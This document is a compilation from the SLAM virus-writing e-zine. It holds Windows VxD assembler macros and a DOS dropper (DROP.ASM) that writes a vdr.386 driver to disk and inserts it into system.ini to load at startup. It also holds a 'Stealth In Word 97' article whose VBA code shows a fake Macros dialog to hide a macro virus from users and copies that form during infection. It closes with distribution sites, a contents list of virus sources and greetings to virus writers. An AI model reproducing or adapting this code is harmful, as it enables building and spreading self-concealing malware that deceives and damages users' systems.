, ENDM cCall MACRO P, Param PushCParams Param call P ClearCParams 0, Param ENDM BeginDoc ;****************************************************************************** ; Segment definition macros ; ; The segment definition macros are a convenience used in defining the ; segments used by the device driver. They are: ;VxD_ICODE_SEG defines start of initialization code segment ;VxD_ICODE_ENDS defines end of initialization code segment ;VxD_IDATA_SEG defines start of initialization data segment ;VxD_IDATA_ENDS defines end of initialization data segment ;VxD_CODE_SEG defines start of always present code segment ;VxD_CODE_ENDS defines end of always present code segment ;VxD_DATA_SEG defines start of always present data segment ;VxD_DATA_ENDS defines end of always present data segment ;============================================================================== EndDoc ; Protected mode code VxD_CODE_SEG EQU VxD_CODE_ENDS EQU VxD_LOCKED_CODE_SEG MACRO _LTEXT SEGMENT ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_LCODE ASSUME cs:FLAT, ds:FLAT, es:FLAT, ss:FLAT ENDM VxD_LOCKED_CODE_ENDS MACRO ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3 _LTEXT ENDS ENDM ; Protected mode initialization code VxD_ICODE_SEG MACRO _ITEXT SEGMENT ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_ICODE ASSUME cs:FLAT, ds:FLAT, es:FLAT, ss:FLAT ENDM VxD_ICODE_ENDS MACRO ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3 _ITEXT ENDS ENDM ; Protected mode data VxD_DATA_SEG EQU VxD_DATA_ENDS EQU VxD_LOCKED_DATA_SEG MACRO NO_ALIGN _LDATA SEGMENT IFB ALIGN 4 ENDIF ENDM VxD_LOCKED_DATA_ENDS MACRO _LDATA ENDS ENDM ; Protected mode initialization data VxD_IDATA_SEG MACRO _IDATA SEGMENT ENDM VxD_IDATA_ENDS MACRO _IDATA ENDS ENDM VxD_REAL_INIT_SEG MACRO _RCODE SEGMENT ASSUME CS:_RCODE, DS:_RCODE, ES:_RCODE, SS:_RCODE ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHL 3 + ??_RCODE ENDM VxD_REAL_INIT_ENDS MACRO ??_CUR_CODE_SEG = ??_CUR_CODE_SEG SHR 3 _RCODE ENDS ENDM ENDIF DDK_Version equ 30Ah ; 3.10 VxD_Desc_Block STRUC DDB_Next dd ? ; VMM RESERVED FIELD DDB_SDK_Version dw DDK_Version ; VMM RESERVED FIELD DDB_Req_Device_Number dw Undefined_Device_ID ; Required device number DDB_Dev_Major_Version db 0 ; Major device number DDB_Dev_Minor_Version db 0 ; Minor device number DDB_Flags dw 0 ; Flags for init calls complete DDB_Name db " " ; Device name DDB_Init_Order dd Undefined_Init_Order; Initialization Order DDB_Control_Proc dd ? ; Offset of control procedure DDB_V86_API_Proc dd 0 ; Offset of API procedure (or 0) DDB_PM_API_Proc dd 0 ; Offset of API procedure (or 0) DDB_V86_API_CSIP dd 0 ; CS:IP of API entry point DDB_PM_API_CSIP dd 0 ; CS:IP of API entry point DDB_Reference_Data dd ? ; Reference data from real mode DDB_Service_Table_Ptr dd 0 ; Pointer to service table DDB_Service_Table_Size dd 0 ; Number of services VxD_Desc_Block ENDS IFNDEF Not_VxD ; flag values for DDB_Flags DDB_Sys_Crit_Init_Done EQU 00000001b DDB_Sys_Crit_Init_Done_Bit EQU 0 DDB_Device_Init_Done EQU 00000010b DDB_Device_Init_Done_Bit EQU 1 BeginDoc ;****************************************************************************** ; ; Declare_Virtual_Device macro ; ; ???? Write something here ???? ; ;============================================================================== EndDoc Declare_Virtual_Device MACRO Name, Major_Ver, Minor_Ver, Ctrl_Proc, Device_Num, Init_Order, V86_Proc, PM_Proc LOCAL V86_API_Offset, PM_API_Offset, Serv_Tab_Offset, Serv_Tab_Len dev_id_err MACRO %OUT Device ID required when providing services .ERR ENDM IFB V86_API_Offset EQU 0 ELSE IFB dev_id_err ENDIF V86_API_Offset EQU ENDIF IFB PM_API_Offset EQU 0 ELSE IFB dev_id_err ENDIF PM_API_Offset EQU ENDIF IFDEF Name&_Service_Table IFB dev_id_err ELSE IFE Device_Num - Undefined_Device_ID dev_id_err ENDIF ENDIF Serv_Tab_Offset EQU Serv_Tab_Len EQU Num_&Name&_Services ELSE Serv_Tab_Offset EQU 0 Serv_Tab_Len EQU 0 ENDIF VxD_LOCKED_DATA_SEG PUBLIC Name&_DDB Name&_DDB VxD_Desc_Block <,,Device_Num,Major_Ver,Minor_Ver,,"&Name",Init_Order,\ OFFSET32 Ctrl_Proc, V86_API_Offset, PM_API_Offset, \ ,,,Serv_Tab_Offset, Serv_Tab_Len> VxD_LOCKED_DATA_ENDS ENDM BeginDoc ;****************************************************************************** ; The Begin_Control_Dispatch macro is used for building a table for dispatching ; messages passed to the VxD_Control procedure. It is used with ; Control_Dispatch and End_Control_Dispatch. The only parameter is used to ; contruct the procedure label by adding "_Control" to the end (normally the ; device name is used i.e. VKD results in creating the procedure VKD_Control, ; this created procedure label must be included in Declare_Virtual_Device) ; ; An example of building a complete dispatch table: ; ; Begin_Control_Dispatch MyDevice ; Control_Dispatch Device_Init, MyDeviceInitProcedure ; Control_Dispatch Sys_VM_Init, MyDeviceSysInitProcedure ; Control_Dispatch Create_VM, MyDeviceCreateVMProcedure ; End_Control_Dispatch MyDevice ; ; (NOTE: Control_Dispatch can be used without Begin_Control_Dispatch, but ; then it is the programmer's responsibility for declaring a procedure ; in locked code (VxD_LOCKED_CODE_SEG) and returning Carry clear for ; any messages not processed. The advantage in using ; Begin_Control_Dispatch is when a large # of messages are processed by ; a device, because a jump table is built which will usually require ; less code space then the compares and jumps that are done when ; Control_Dispatch is used alone. ; ;============================================================================== EndDoc Begin_Control_Dispatch MACRO VxD_Name ??_cd_low = 0FFFFFFFFh ??_cd_high = 0 BeginProc VxD_Name&_Control ENDM End_Control_Dispatch MACRO VxD_Name LOCAL ignore, table jmpproc MACRO num jmp ??_cd_&&num ENDM procoff MACRO num IFDEF ??_cd_&&num dd OFFSET32 ??_cd_&&num ELSE dd OFFSET32 ignore ENDIF ENDM IF ??_cd_low EQ ??_cd_high cmp eax, ??_cd_low jne short ignore jmpproc %(??_cd_low) ignore: clc ret ELSE cmp eax, ??_cd_high ja short ignore sub eax, ??_cd_low jb short ignore jmp cs:[eax*4+table] ignore: clc ret table label dword REPT ??_cd_high - ??_cd_low + 1 procoff %(??_cd_low) ??_cd_low = ??_cd_low + 1 ENDM ENDIF EndProc VxD_Name&_Control PURGE jmpproc PURGE procoff PURGE Begin_Control_Dispatch PURGE Control_Dispatch PURGE End_Control_Dispatch ENDM BeginDoc ;****************************************************************************** ; The Control_Dispatch macro is used for dispatching based on message ; passed to the VxD_Control procedure. E.G.: ; ; Control_Dispatch Device_Init, MyDeviceInitProcedure ; ; (NOTE: Control_Dispatch can be used with Begin_Control_Dispatch and ; End_Control_Dispatch to create a jump table for dispatching messages, ; when a large # of messages are processed.) ; ;============================================================================== EndDoc Control_Dispatch MACRO Service, Procedure LOCAL Skip_Interseg_Jump IFE ?_lcode IFDEF ??_cd_low Equate_Service MACRO Serv ??_cd_&&Serv equ Procedure ENDM Equate_Service %(Service) IF Service LT ??_cd_low ??_cd_low = Service ENDIF IF Service GT ??_cd_high ??_cd_high = Service ENDIF PURGE Equate_Service ELSE cmp eax, Service jne SHORT Skip_Interseg_Jump jmp Procedure Skip_Interseg_Jump: ENDIF ELSE %OUT ERROR: The Control proc should be in LOCKED code. %OUT Control_Dispatch can only be used inside of VxD_LOCKED_CODE_SEG. .err ENDIF ENDM BeginDoc ;****************************************************************************** ; The following are the definitions for the "type of I/O" parameter passed ; to a I/O trap routine Byte_Input EQU 000h Byte_Output EQU 004h Word_Input EQU 008h Word_Output EQU 00Ch Dword_Input EQU 010h Dword_Output EQU 014h Output EQU 0000000000000100b Output_Bit EQU 2 Word_IO EQU 0000000000001000b Word_IO_Bit EQU 3 Dword_IO EQU 0000000000010000b Dword_IO_Bit EQU 4 String_IO EQU 00000020h String_IO_Bit EQU 5 Rep_IO EQU 00000040h Rep_IO_Bit EQU 6 Addr_32_IO EQU 00000080h Addr_32_IO_Bit EQU 7 Reverse_IO EQU 00000100h Reverse_IO_Bit EQU 8 IO_Seg_Mask EQU 0FFFF0000h ; Use these bits to get segment IO_Seg_Shift EQU 10h ; Must shift right this many ;============================================================================== EndDoc BeginDoc ;****************************************************************************** ; ; Dispatch_Byte_IO macro ; ; Dispatch_Byte_IO Byte_In_Proc, Byte_Out_Proc ;============================================================================== EndDoc Dispatch_Byte_IO MACRO In_Proc, Out_Proc LOCAL Byte_IO cmp ecx, Byte_Output jbe SHORT Byte_IO VMMjmp Simulate_IO Byte_IO: IFIDNI , je Out_Proc ELSE IFIDNI , jb In_Proc ELSE je Out_Proc jmp In_Proc ENDIF ENDIF ENDM BeginDoc ;****************************************************************************** ; ; Emulate_Non_Byte_IO ; ; Emulate_Non_Byte_IO ; ;============================================================================== EndDoc Emulate_Non_Byte_IO MACRO LOCAL Byte_IO cmp ecx, Byte_Output jbe SHORT Byte_IO VMMjmp Simulate_IO Byte_IO: ENDM VxD_IOT_Hdr STRUC VxD_IO_Ports dw ? VxD_IOT_Hdr ENDS VxD_IO_Struc STRUC VxD_IO_Port dw ? VxD_IO_Proc dd ? VxD_IO_Struc ENDS BeginDoc ;****************************************************************************** ; ; Begin_VxD_IO_Table ; ; Example: ; Begin_VxD_IO_Table MyTableName ; ;============================================================================== EndDoc .ERRNZ SIZE VxD_IOT_Hdr - 2 ; Begin_VxD_IO_Table creates a 1 word count hdr Begin_VxD_IO_Table MACRO Table_Name PUBLIC Table_Name Table_Name LABEL WORD IF2 IFNDEF Table_Name&_Entries %OUT ERROR: No End_VxD_IO_Table for &Table_Name .ERR ENDIF dw Table_Name&_Entries ELSE dw ? ENDIF ENDM .ERRNZ SIZE VxD_IO_Struc - 6 ; VxD_IO creates 6 byte I/O port entries VxD_IO MACRO Port, Proc_Name dw Port dd OFFSET32 Proc_Name ENDM End_VxD_IO_Table MACRO Table_Name IFNDEF Table_Name %OUT ERROR: No Begin_VxD_IO_Table for &Table_Name .ERR ELSE Table_Name&_Entries EQU (($-Table_Name)-2) / (SIZE VxD_IO_Struc) IF Table_Name&_Entries LE 0 %OUT ERROR: Invalid number of port traps in &Table_Name .ERR ENDIF ENDIF ENDM ;****************************************************************************** ;****************************************************************************** Push_Client_State MACRO sub esp, SIZE Client_Reg_Struc push edi lea edi, [esp+4] VMMcall Save_Client_State pop edi ENDM Pop_Client_State MACRO push esi lea esi, [esp+4] VMMcall Restore_Client_State pop esi add esp, SIZE Client_Reg_Struc ENDM BeginDoc ;****************************************************************************** ; ; CallRet -- Call procedure and return. For debugging purposes only. ; If compiled with debugging then this will generate a call ; followed by a return. If non-debugging version then the ; specified label will be jumped to. ; ; PARAMETERS: ; Label_Name = Procedure to be called ; ; EXIT: ; Return from current procedure ; ;------------------------------------------------------------------------------ EndDoc CallRet MACRO P1, P2 IFDEF DEBUG IFIDNI , call P2 ELSE call P1 ENDIF ret ELSE jmp P1 P2 ENDIF ENDM ; ebp offsets to segments pushed by PMode_Fault in Fault_Dispatch PClient_DS equ WORD PTR -4 PClient_ES equ WORD PTR -8 PClient_FS equ WORD PTR -12 PClient_GS equ WORD PTR -16 Client_Ptr_Flat MACRO Reg_32, Cli_Seg, Cli_Off IFDIFI , push eax ENDIF IFB mov ax, (Client_&Cli_Seg * 100h) + 0FFh ELSE mov ax, (Client_&Cli_Seg * 100h) + Client_&Cli_Off ENDIF VMMcall Map_Flat IFDIFI , mov Reg_32, eax pop eax ENDIF ENDM ;------------------------------------------------------------------------------ VxDint MACRO Int_Number push DWORD PTR Int_Number VMMcall Exec_VxD_Int ENDM ENDIF ; Not_VxD BeginDoc ;****************************************************************************** ; ; The following equates are for flags sent to the real mode ; initialization portion of a device driver: ; Duplicate_Device_ID equ 0000000000000001b ; duplicate device ID already Duplicate_Device_ID_Bit equ 0 ; loaded Duplicate_From_INT2F equ 0000000000000010b ; duplicate device ID already Duplicate_From_INT2F_Bit equ 1 ; loaded as part of INT 2F ; device list Loading_From_INT2F equ 0000000000000100b ; this device was specified Loading_From_INT2F_Bit equ 2 ; in the INT 2F device list EndDoc BeginDoc ;****************************************************************************** ; ; The following equates are used to indicate the result of the real mode ; initialization portion of a device driver: ; Device_Load_Ok equ 0 ; protected mode portion of device ; should be loaded Abort_Device_Load equ 1 ; don't load any protected mode portion ; of this device, but continue loading ; the rest of the devices Abort_Win386_Load equ 2 ; fatal-error: abort the load of Win386 No_Fail_Message equ 8000h ; The high bit is set in the return No_Fail_Message_Bit equ 15 ; code, if the loader should not print ; any message for results ; Abort_Device_Load or Abort_Win386_Load ;============================================================================== EndDoc ;============================================================================== ; CR0 bit assignments PE_Mask EQU 0001h ; 1 = Protected Mode PE_Bit EQU 0 MP_Mask EQU 0002h ; 1 = Monitor Coprocessor MP_Bit EQU 1 EM_Mask EQU 0004h ; 1 = Emulate Math Coprocessor EM_Bit EQU 2 TS_Mask EQU 0008h ; 1 = Task Switch occured TS_Bit EQU 3 ET_Mask EQU 0010h ; 1 = 387 present, 0 = 287 present ET_Bit EQU 4 PG_Mask EQU 80000000h ; 1 = paging enabled, 0 = paging disabled PG_Bit EQU 31 ; EFLAGs bit assignments CF_Mask EQU 000000000000000001b ; Carry flag CF_Bit EQU 0 PF_Mask EQU 000000000000000100b ; Parity flag PF_Bit EQU 2 AF_Mask EQU 000000000000010000b ; Aux flag AF_Bit EQU 4 ZF_Mask EQU 000000000001000000b ; Zero flag ZF_Bit EQU 6 SF_Mask EQU 000000000010000000b ; Sign flag SF_Bit EQU 7 TF_Mask EQU 000000000100000000b ; Trace flag TF_Bit EQU 8 IF_Mask EQU 000000001000000000b ; Int flag IF_Bit EQU 9 DF_Mask EQU 000000010000000000b ; Direction flag DB_Bit EQU 10 OF_Mask EQU 000000100000000000b ; Overflow flag OF_Bit EQU 11 IOPL_Mask EQU 000011000000000000b ; IOPL flags IOPL_Bit0 EQU 12 IOPL_Bit1 EQU 13 NT_Mask EQU 000100000000000000b ; Nested task flag NT_Bit EQU 14 RF_Mask EQU 010000000000000000b ; Resume flag RF_Bit EQU 16 VM_Mask EQU 100000000000000000b ; Virtual Mode flag VM_Bit EQU 17 ;------------------------------------------------------------------------------ ; ; Temporary MASM macros (to be removed when supported by MASM) ; ;------------------------------------------------------------------------------ loopd EQU loopde EQU loopdne EQU loopdz EQU loopdnz EQU ;****************************************************************************** ; PAGE TABLE EQUATES ;****************************************************************************** P_SIZE equ 1000h ; page size ; --------------------------------------------------- ; ; Page table entry bits ; ; --------------------------------------------------- P_PRES equ 01h ; page present bit P_PRESBit equ 0 P_WRITE equ 02h ; write access bit P_WRITEBit equ 1 P_USER equ 04h ; access bit for User mode P_USERBit equ 2 P_ACC equ 20h ; page accessed bit P_ACCBit equ 5 P_DIRTY equ 40h ; page dirty bit P_DIRTYBit equ 6 P_AVAIL equ (P_PRES+P_WRITE+P_USER) ; avail to everyone & present ; --------------------------------------------------- ; ; Page types - definition of the OS reserved bits in the page table ; entry. ; --------------------------------------------------- PG_TYPE equ 0E00h ; TYPE bits in PTE ; --------------------------------------------------- ; ; Page types for page allocator calls ; ; --------------------------------------------------- PG_VM equ 0 PG_SYS equ 1 PG_RESERVED1 equ 2 PG_PRIVATE equ 3 PG_RESERVED2 equ 4 PG_RELOCK equ 5 ; PRIVATE to MMGR PG_INSTANCE equ 6 PG_HOOKED equ 7 PG_IGNORE equ 0FFFFFFFFh ; --------------------------------------------------- ; ; Types for page table entries ; ; --------------------------------------------------- PgT_VM equ PG_VM SHL 9 PgT_SYS equ PG_SYS SHL 9 PgT_RESERVED1 equ PG_RESERVED1 SHL 9 PgT_PRIVATE equ PG_PRIVATE SHL 9 PgT_RESERVED2 equ PG_RESERVED2 SHL 9 PgT_RELOCK equ PG_RELOCK SHL 9 PgT_INSTANCE equ PG_INSTANCE SHL 9 PgT_HOOKED equ PG_HOOKED SHL 9 ;****************************************************************************** ; --------------------------------------------------- ; ; Definitions for the access byte in a descriptor ; ; --------------------------------------------------- ; Following fields are common to segment and control descriptors D_PRES equ 080h ; present in memory D_NOTPRES equ 0 ; not present in memory D_DPL0 equ 0 ; Ring 0 D_DPL1 equ 020h ; Ring 1 D_DPL2 equ 040h ; Ring 2 D_DPL3 equ 060h ; Ring 3 D_SEG equ 010h ; Segment descriptor D_CTRL equ 0 ; Control descriptor D_GRAN_BYTE equ 000h ; Segment length is byte granular D_GRAN_PAGE equ 080h ; Segment length is page granular D_DEF16 equ 000h ; Default operation size is 16 bits D_DEF32 equ 040h ; Default operation size is 32 bits ; Following fields are specific to segment descriptors D_CODE equ 08h ; code D_DATA equ 0 ; data D_RX equ 02h ; if code, readable D_X equ 0 ; if code, exec only D_W equ 02h ; if data, writable D_R equ 0 ; if data, read only D_ACCESSED equ 1 ; segment accessed bit ; Useful combination access rights bytes RW_Data_Type equ (D_PRES+D_SEG+D_DATA+D_W) R_Data_Type equ (D_PRES+D_SEG+D_DATA+D_R) Code_Type equ (D_PRES+D_SEG+D_CODE+D_RX) D_PAGE32 equ (D_GRAN_PAGE+D_DEF32) ; 32 bit Page granular ; Masks for selector fields SELECTOR_MASK equ 0fff8h ; selector index SEL_LOW_MASK equ 0f8h ; mask for low byte of sel indx TABLE_MASK equ 04h ; table bit RPL_MASK equ 03h ; privilige bits RPL_CLR equ not 03h ; clear ring bits Ŀ File: DROP.ASM .286 .model tiny .code org 100h start: ;get delta call $ + 3 rumble:pop bp sub bp,offset rumble ;get the windoze path mov ax,3d02h ;c:\windows\system.ini? lea dx,[bp + offset sysini1] int 21h jnc win mov ax,3d02h ;c:\windows.000\system.ini? lea dx,[bp + offset sysini2] int 21h jnc win000 mov ax,3d02h ;c:\win95\system.ini? lea dx,[bp + offset sysini3] int 21h jnc win95 e:jmp exit win: xchg ax,bx push bx mov ax,3d00h ;check if vdr.386 is already installed lea dx,[bp + offset dropname1] ;c:\windows\system\vdr.386 int 21h jc inst jmp e win000: xchg ax,bx push bx mov ax,3d00h ;check if vdr.386 is already installed lea dx,[bp + offset dropname2] ;c:\windows.000\system\vdr.386 int 21h jc inst jmp e win95: xchg ax,bx push bx mov ax,3d00h ;check if vdr.386 is already installed lea dx,[bp + offset dropname3] ;c:\win95\system\vdr.386 int 21h jnc e inst: mov ah,3ch ;nope:install vdr.386 xor cx,cx int 21h xchg ax,bx mov ah,40h mov cx,5150 lea dx,[bp + offset drop] int 21h mov ah,3eh int 21h ;drop 'device=vdr.386' into system.ini pop bx mov ax,4202h ;get file size xor cx,cx cwd int 21h mov [bp + fsize],ax mov ax,4200h xor cx,cx cwd int 21h rfile: mov ah,3fh ;smaller than repne scasb mov cx,1 lea dx,[bp + offset rbuf] int 21h or ax,ax je cfile cmp [bp + rbuf],'n' ;[386E'n'h] jne rfile mov ah,3fh mov cx,2 lea dx,[bp + offset rbuf] int 21h cmp word ptr [bp + rbuf],']h' jne rfile mov ax,4201h ;save current offset xor cx,cx cwd int 21h push ax sub [bp + fsize],ax ;read the second part of the file mov cx,[bp + fsize] mov ah,3fh lea dx,[bp + offset rbuf] int 21h mov ax,4200h ;go back xor cx,cx pop dx int 21h mov ah,40h ;insert ... mov cx,16 lea dx,[bp + offset dropstring] int 21h mov ah,40h ;write the second part of the file mov cx,[bp + fsize] lea dx,[bp + offset rbuf] int 21h cfile: mov ah,3eh int 21h exit: int 20h fsize dw ? ;filesize sysini1 db 'c:\windows\system.ini',0 sysini2 db 'c:\windows.000\system.ini',0 sysini3 db 'c:\win95\system.ini',0 dropname1 db 'c:\windows\system\vdr.386',0 dropname2 db 'c:\windows.000\system\vdr.386',0 dropname3 db 'c:\win95\system\vdr.386',0 dropstring db 0dh,0ah,'device=vdr.386' rbuf db ? ;readbuffer drop db 0 ends end start _ _ _ _ _ / _ _ _ | / / | | / / | | / / | | / / | | / /_ _ _ _ _ _ _ _|_ |_ _ _ |_ _ _ _ _ _ _ _ _ _|_ |_ _ _| | | | | | | | | | | | | __ /____\ |__| Stealth In Word 97 This is just a quick talking paper on the newly emerging capabilities of stealthing your Word 97 Macro Virii, I stumbled accross this technique when making "The Gambler". I hope this will stimulate new and better Stealth Techniques in Word 97. So far in Word 97 the ability to stealth your Virii has not been easy to accomplish. It was either non-existent or when someone selected the ToolsMacro command, the Macro/programmer knowing that detection was eminent would perform some drastic action. In either case you were detected and cleaned off the template. If we could allow someone to look at the ToolsMacro window and reassure them that their system was not infected by showing a false screen. It might buy some time before they come back to the ToolsMacro screen and look really hard at it. This is what I believe to be the first attempt "Word97" to Duplicate the ToolsMacro screen, showing that there are no macros currently installed on the Normal.dot template. I created a UserForm and named it userform999 so that when being copied it would not run into another file with the same name. From the Visual Basic design screen Import "Userform999.frm" to your project. To call the Userform999 from your macro use the following command. Sub ToolsMacro() On Error GoTo Error userform999.Show Error: End Sub To copy the Userform during infection use the same command that is used to copy the Modules, just replace the module name with Userform999 Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="userform999", Object:=wdOrganizerObjectProjectItems Userform999 : ~~~~~~~~~~~~~ VERSION 5.00 Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} userform999 Caption = "Macros" ClientHeight = 5400 ClientLeft = 45 ClientTop = 330 ClientWidth = 7035 OleObjectBlob = "userform999.frx":0000 StartUpPosition = 1 'CenterOwner End Attribute VB_Name = "userform999" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Private Sub UserForm_Initialize() ComboBox1.AddItem "Normal.dot(global template)" End Sub Private Sub CommandButton2_Click() Unload userform999 End Sub Private Sub CommandButton5_Click() MsgBox "Not Enough Memory To Complete The Request", 16, "Memory Allocation Error" Unload userform999 End Sub Private Sub UserForm_Click() MsgBox "Not Enough Memory To Complete The Request", 16, "Memory Allocation Error" Unload userform999 End Sub Talon. _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ \ / \ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ / \ / \ THE END / \ _ _ _ _ / -- SLAM VIRUS TEAM -- \ \ \ \__ / \ / _\ ( / / / / \ \ (_( (/ /_> \) ___ _ ____ ___ ___ _ ___ _ _ ___ _ ___ _ _ ( ( | \ | ( | |___) | | ) | | | | | | |\ | \ \ | | | -- | | \ | |---| | | | | | | | \| \) |___ / | ____) | | \ | |___) |___| | | |___| | | There are several pages on the Internet where you can find our magazine. They are listed below. Only two BBS's have our magazine. But if you are a Sysop from a kewl virus BBS or something, mail me. Then you'll also be listed here in the next issue. Get our mag from these Internet sites: -------------------------------------------------------------------------------------------------- http://www.ilf.net/AURODREPH/virus.htm | A page from Aurodreph http://www.ilf.net/NJoker/ | Nightmare Jokers Page http://www.cyberstation.net/~cicatrix/ | Cicatrix' Page http://www.geocities.com/SiliconValley/Heights/2013/ | DarkSide's Page http://www.geocities.com/SiliconValley/Heights/1789/ | DarkChasm's Page http://www.geocities.com/SiliconValley/Heights/3334/ | Virtual Daemons Page http://www.geocities.com/Area51/8542/ | Death Knight's Page -------------------------------------------------------------------------------------------------- Or from these BBS's -------------------------------------------------------------------------------------------------- Name | SysOps | Co-Sysops | Nr. | Country ---- | ----- | -------- | --- | ------- Arrested Development | Omega | - | +31-70-3818095 | Holland PINKSIDE! | rTr | Death Knight | (86533) 5-5261 | Russia | xTr | Wild Fox | | -------------------------------------------------------------------------------------------------- --- The SLAM Virus Team --- \ \ \ \__ / \ / _\ ( / / / / \ \ (_( (/ /_> \) _____ _ _ ___ _ _ _ _ ____ ( ( | | | /___\ |\ | | / ( \ \ | |---| | | | \ | |/ \ -- \) | | | | | | \| | \ ____) Member's for => ~~~~~~~~~~~~~~~ Neophyte - Editorials, Organizer Nightmare Joker - Editorials, Organizer WordMacro Q, DAKOTA, Killok, Randomic and QuickSilver Different kinds of Macro viruses article Description of the WordMacro Virus Paper PKZIP Trojan Horse 2.05s Description of the ExcelMacro Virus Laroux A full-steahlt Technique in Macro viruses article Interview with Stefan Kurtzhals/FWIN AuroDreph - Windows 95 Magazine viewer Description of the Word Macro Virus Slovak Dictator Cyborg - Dos Magazine viewer Phardera - ASM virus Jakarta DarkChasm - ASM virus Sped DarkChasm's Ansi Bomb Maker article (source code) Guide to Ansi Bomb's article DarkSide - WordMacro Lithium Virus Death Knight - Anti-heuristic Virus Simbioz Hyperlock - WordMacro Virus Hyper Virtual Daemon - SLAM Demo's! Resident com-infector Suburbs The smallest virus - only 35 Bytes! Jos Iliescu Virus Disassembling OverWritting Virus Tutorial BadSectors 1.2 Virus Disassembling Overwritting Virus Construction Toolkit Dos Magazine viewer Outsider's for => ~~~~~~~~~~~~~~~~~ Gothmog/[DHA] - Generic Anti-Heuristic Encryption Technique for TBAV TU.Suicidal.Dream.B / Glupak.847.A Disassembly Quick and Easy Virus Host File Generator article Mainman.89 Disassembly & Bug-Fix Trivial.64.C Disassembly Hellfire.1146 Anti-Heuristic Demonstration Virus Advanced Heuristic Techniques article The Airwalker.385 Virus A Funky New Anti-Heuristic Method article Anti-Tracing/Disassembling Techniques article WordMacro Envader Virus The Jacov.757 Virus Virtual Boy - Special Demonstration Virus Polo Talon - Stealth In Word 97 article Reptile - Anchele v1.0 Virus WordMacro.N00DLE v2.0 Virus *Rumble* v1.2 Virus And now, in no specific order, the greetz. Don't be mad if we forgot you. Just e-mail us and say it, although I doubt that you gonna say it to us, you'll probably scream it :) Internal Stalker thanx for the ansi files. Vecna When comes your first macro virus? :) Neophyte Are you busted? The Underground Prophet We miss you, come back! MoonShine finally believe me. TCP When comes the second 29A Issue? Virtual Boy Get a girl friend and come back to SLAM! ;) faceless leave this planet! ;] SSONICTH write a undetectable macro virus and you are in! MindManiac whats happen with your BBS? 2Pac disappeared in the cyberspace or busted? Dark Night When comes VBB 5? God@rky Where is your site? Crooper Finish your Word 97 virus! hAlCyOn Is your Pascal Companion virus ready? jhb When comes your Win95 virus? B0z0 Where is Xine2? Cicatrix Giant VDAT 1.9! Continue it! Methyl See yah on IRC Lord of Entropy Thankz for the place on ILF! liquiz Install Word. :) GWAR thankz for your help with the SLAM logo ----- SLAM VIRUS TEAM ----- \ \ \ \__ / \ / _\ ( / / / / \ \ (_( (/ /_> \) _ _ _ _ ___ ___ _ _ ___ _ _ ___ ( ( | | | | | /___\ | ) ___ |\ | | \ / | \ \ | | | |---| | | | (__ | \| |-- / \ | \) |__|__| | | | | | ___) | | |___ | | | That's a good question. I still don't know it. In this Issue we used two viewers. A Win95 and a Dos viewer. If you think we shouldn't do that again in SLAM 3 or you think we should better make it with Html and Java then send us a mail to slam@presidency.com. Another question is the kind of viruses in our next Issue. Should we write more about ASM viruses or Macro Viruses and would you like to read more interviews or more article about infection and anti-heuristic techniques? That's important questions that we must know. So, please contact us and say what you want. -- SLAM VIRUS TEAM --